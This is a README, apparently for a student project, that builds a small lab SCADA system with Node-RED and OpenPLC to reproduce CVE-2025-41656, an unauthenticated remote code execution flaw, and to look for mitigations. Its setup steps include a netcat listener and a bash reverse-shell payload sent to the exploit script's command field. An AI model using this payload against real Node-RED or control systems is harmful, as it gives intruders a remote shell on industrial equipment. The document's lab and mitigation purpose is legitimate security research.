
This repository includes the code and files needed to test and execute a PoC for CVE-2025-41656
이 프로젝트는 NodeRED의 인증되지 않은 원격 코드 실행 취약점인 CVE-2025-41656을 모델링하기 위해 만들어졌습니다. 이 취약점을 모델링하기 위해 라즈베리 파이, 액추에이터, 센서로 구성된 소형 SCADA 시스템을 구축했습니다. 라즈베리 파이에는 NodeRED 및 OpenPLC 컨테이너가 포함되어 있으며, 이들은 Modbus TCP를 통해 서로 통신하여 액추에이터를 제어합니다. 이는 CVE-2025-41656 공격을 수행하기 위한 Python 개념 증명 스크립트입니다. 목표는 PoC를 성공적으로 생성하고 시스템을 보호하기 위한 완화 방법을 찾는 것입니다.
git clone [email protected]:wallyschag/CVE-2025-41656.git
cd CVE-2025-41656
git clone https://github.com/thiagoralves/OpenPLC_v3.git
rm OpenPLC_v3/Dockerfile && cp Dockerfile_WiringPi OpenPLC_v3/Dockerfile
docker compose up --build -d
docker container ls
docker network inspect csci587-final-project_scadanet
nc -lvnp 1234 실행cve_2025_41656.py에서 NODE_RED_IP 및 NODE_RED_PORT를 NodeRED 서비스의 IP 주소와 포트(1880)로 변경cve_2025_41656 내에서 "command": "bash -c 'bash -i >& /dev/tcp/192.168.4.223/1234 0>&1'", 줄의 IP 주소를 익스플로잇을 실행하는 머신의 IP 주소로 변경python3 cve_2025_41656.py